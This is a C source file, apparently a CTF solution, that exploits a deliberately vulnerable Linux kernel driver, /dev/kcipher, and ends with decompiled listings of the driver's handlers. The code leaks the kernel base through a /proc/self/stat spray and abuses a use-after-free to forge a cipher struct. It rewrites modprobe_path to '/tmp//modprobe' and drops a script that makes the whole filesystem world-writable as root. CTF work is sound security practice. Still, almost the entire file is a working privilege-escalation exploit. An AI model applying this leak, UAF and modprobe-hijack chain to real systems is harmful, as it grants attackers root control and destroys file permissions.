-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcorctf_kcipher_exploit.c
More file actions
210 lines (190 loc) · 6.77 KB
/
corctf_kcipher_exploit.c
File metadata and controls
210 lines (190 loc) · 6.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#define module "/dev/kcipher"
#define CMD 0xedbeef00
int fd;
unsigned long kbase;
/*
possible cipher structure
typedef struct{
int mode;
int key;
int size;
char* data;
void* spinlock;
} cipher
*/
void rot_decrypt(char* buf, int len, int key){
for (int i=0; i<len; i++){
buf[i] -= key;
}
}
unsigned long create_cipher(unsigned long key, unsigned mode){
return (key << 32) + mode;
}
int main(){
fd = open(module, O_RDWR);
if (fd < 0) {perror("Cannot Open Device Driver!\n"); exit(-1);}
// seq_ops spray
int spray[50];
for (int i=0; i<50; i++){spray[i] = open("/proc/self/stat", O_RDONLY | O_NOCTTY);}
for (int i=0; i<50; i++){close(spray[i]);}
unsigned long req = create_cipher(0x30,0);
int cfd = ioctl(fd, CMD, &req); // good request will return the fd of "kcipher-fd"
char buf[0x20] = {0};
write(cfd, buf, sizeof(buf));
read(cfd, buf, sizeof(buf));
rot_decrypt(buf, sizeof(buf), 0x30);
/*
0x0000: 0x0000000000000000 0xffffffffa855b870
0x0010: 0xffff92a741172a00 0xffffffffa8586be0
*/
// buf[1]
kbase = *((unsigned long *) buf + 1) - 0x15b870;
unsigned long modprobe = kbase + 0x8a83a0;
printf("Kbase: %lx\n", kbase);
// UAF
req = create_cipher(0, 8);
ioctl(fd, CMD, &req); // invalid request will return -1 so need to define cipher_fd2 in this way
int cfd2 = cfd + 1;
// partial overwrite of "/sbin/modprobe" --> "/tmp//modprobe"
char *target = "/sbin";
char *evil = "/tmp/";
unsigned long key = 0x0;
for (int i=5; i>=1; i--){
char overlap_data[96] = {0}; // 96 so the write trigger kmalloc(96) it will reside on the freed cipher
unsigned long curk = evil[i-1] ^ target[i-1] ^ key;
key = curk ^ key;
*(unsigned long *)(overlap_data) = (curk << 32) + 0x1; // faking the struct of cipher
*(unsigned long *)(overlap_data + 0x8) = i;
*(unsigned long *)(overlap_data + 0x10) = (modprobe);
rot_decrypt(overlap_data, sizeof(overlap_data), 0x30); // decrypt it with rot so when will be encrypted it will return to normal state
write(cfd, overlap_data, sizeof(overlap_data));
read(cfd, overlap_data, sizeof(overlap_data));
read(cfd2, buf, 96); // now the text will point to modprobe
}
// not so special modprobe hijack
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/modprobe");
system("chmod +x /tmp/modprobe");
system("echo -e '\xff\xff\xff\xff' > /tmp/m");
system("chmod +x /tmp/m && /tmp/m");
return 0;
}
/*
DEVICE IOCTL
00000240 {
00000253 int64_t r12_1;
00000253 if (arg2 != 0xedbeef00)
00000253 {
00000317 r12_1 = -0x16;
00000253 }
00000253 else
00000253 {
0000026d int32_t* rax_1 = kmalloc_trace(*(uint64_t*)(kmalloc_caches + 8), 0x400dc0, 0x60); // Alloc a new chunk
00000278 if (rax_1 == 0)
00000278 {
00000320 r12_1 = -0xc;
00000278 }
00000278 else
00000278 {
0000027e rax_1[6] = 0; { // {"&\t"}}
0000029b int32_t rax_2 = anon_inode_getfd(0x637, 0x7f0, rax_1, 2); { // {"kcipher-buf"}} // create a new fd called "kcipher-buf" wih its own fops
000002a5 if (rax_2 < 0)
000002a5 {
00000308 kfree(rax_1);
00000316 return ((int64_t)rax_2);
000002a5 }
000002b2 int64_t rax_3 = _copy_from_user(rax_1, arg3, 8); // copy from userland (3rd param) 8 bytes
000002b7 r12_1 = rax_3;
000002bd if (rax_3 == 0)
000002bd {
000002bf uint64_t rax_4 = ((uint64_t)*(uint32_t*)rax_1);
000002c4 if (rax_4 <= 3)
000002c4 {
000002da strncpy(&rax_1[7], &ciphers[rax_4], 0x40); { // {"\t"}}
000002e8 return ((int64_t)rax_2);
000002c4 }
000002e9 r12_1 = -0x16;
000002bd }
000002f3 kfree(rax_1);
00000278 }
00000253 }
00000301 return r12_1;
00000240 }
*/
/*
CIPHER_READ
// This function will encrypt the text and it will return to us
00000450 {
00000464 int32_t* r15 = *(uint64_t*)((char*)arg1 + 0xc0);
0000046b int64_t rbx = arg3;
00000475 int64_t rax = _raw_spin_lock_irqsave(&r15[6]); { // {"&\t"}}
00000482 int64_t rbx_1;
00000482 if (*(uint64_t*)((char*)r15 + 0x10) == 0)
00000482 {
000004d7 rbx_1 = -2;
000004de _raw_spin_unlock_irqrestore(&r15[6], rax); { // {"&\t"}}
00000482 }
00000482 else
00000482 {
00000487 do_encode(r15); // encode the text section of r15, do_encode is kinda simple depends on rcx value if
// rcx = 0 => rot encryption, rcx = 1 => xor encryption
// rcx = 2 => alphabetical position, rcx = 3 => uppercase to lowercase and viceversa
// rcx >= 4 => will be freed, but fd still active (UAF)
0000048c int64_t rax_1 = *(uint64_t*)((char*)r15 + 8);
00000497 if (rbx > rax_1)
00000497 {
00000497 rbx = rax_1;
00000497 }
000004a2 if (rbx > 0x7fffffff)
000004a2 {
000004cb trap(6); { // {"&\t"}}
000004a2 }
000004af rbx_1 = (rbx - _copy_to_user(arg2, *(uint64_t*)((char*)r15 + 0x10), rbx));
000004b8 _raw_spin_unlock_irqrestore(&r15[6], rax); { // {"&\t"}}
00000482 }
000004ca return rbx_1;
00000450 }
*/
/*
CIPHER_WRITE
// Write on the fd (kcipher-buf) according to the struct of the cipher
00000190 {
000001a1 void* r15 = *(uint64_t*)((char*)arg1 + 0xc0);
000001af int64_t rax_2;
000001af int64_t rbx_2;
000001af if (arg3 <= 0x1000)
000001af {
000001be int64_t rax_1 = _raw_spin_lock_irqsave(((char*)r15 + 0x18));
000001c3 int64_t rdi_1 = *(uint64_t*)((char*)r15 + 0x10); // data section of the cipher struct
000001cd if (rdi_1 != 0)
000001cd {
000001cf kfree(rdi_1);
000001d4 *(uint64_t*)((char*)r15 + 0x10) = 0;
000001cd }
000001e4 rax_2 = __kmalloc(arg3, 0xcc0);
000001e9 *(uint64_t*)((char*)r15 + 0x10) = rax_2;
000001f3 if (rax_2 == 0)
000001f3 {
00000226 _raw_spin_unlock_irqrestore(((char*)r15 + 0x18), rax_1); // spinlock section of the cipher struct
000001f3 }
000001f3 else
000001f3 {
000001f5 *(uint64_t*)((char*)r15 + 8) = arg3;
0000020a rbx_2 = strncpy_from_user(rax_2, arg2, arg3);
0000020d _raw_spin_unlock_irqrestore(((char*)r15 + 0x18), rax_1);
000001f3 }
000001af }
000001f3 if (((arg3 <= 0x1000 && rax_2 == 0) || arg3 > 0x1000))
000001f3 {
0000022b rbx_2 = -0xc;
000001f3 }
0000021f return rbx_2;
00000190 }
*/